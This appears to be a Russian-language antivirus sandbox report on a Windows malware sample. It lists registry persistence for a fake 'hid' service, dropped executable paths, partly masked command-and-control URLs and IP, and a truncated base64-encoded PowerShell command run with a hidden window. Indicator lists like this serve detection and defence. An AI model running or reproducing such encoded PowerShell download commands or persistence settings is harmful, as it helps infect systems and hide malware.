Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\hid] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\hid] 'ImagePath' = '"%WINDIR%\SysWOW64\irclass\hid.exe"'
- 'hid' "%WINDIR%\SysWOW64\irclass\hid.exe"
- 'hid' %WINDIR%\SysWOW64\irclass\hid.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABLAGIANwBoADcAeQAyAD0AKAAnAEsANQAnACsAKAAnAHUAaQBiADQAJwArACcAOAAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgBWADoAVQBTAGUAcgBQAHIAbwBmAEkATA...
- %HOMEPATH%\yg9k_9t\oad70ds\xagna69y8.exe
- %WINDIR%\syswow64\irclass\hid.exe
- %HOMEPATH%\yg9k_9t\oad70ds\xagna69y8.exe в %WINDIR%\syswow64\irclass\hid.exe
- '17#.#06.122.139':80
- http://fu#######ntentertainment.com/cgi-bin/WrD/
- http://17#.#06.122.139/vYVFU8/znpW3fsC47VldBWZ8xG/YYJf647794eTjM3QGIV/YxYDw6v8urDZY6r6xEu/YYif/
- DNS ASK fu#######ntentertainment.com
- '%HOMEPATH%\yg9k_9t\oad70ds\xagna69y8.exe'
- '%WINDIR%\syswow64\irclass\hid.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABLAGIANwBoADcAeQAyAD0AKAAnAEsANQAnACsAKAAnAHUAaQBiADQAJwArACcAOAAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgBWADoAVQBTAGUAcgBQAHIAbwBmAEkATA...' (со скрытым окном)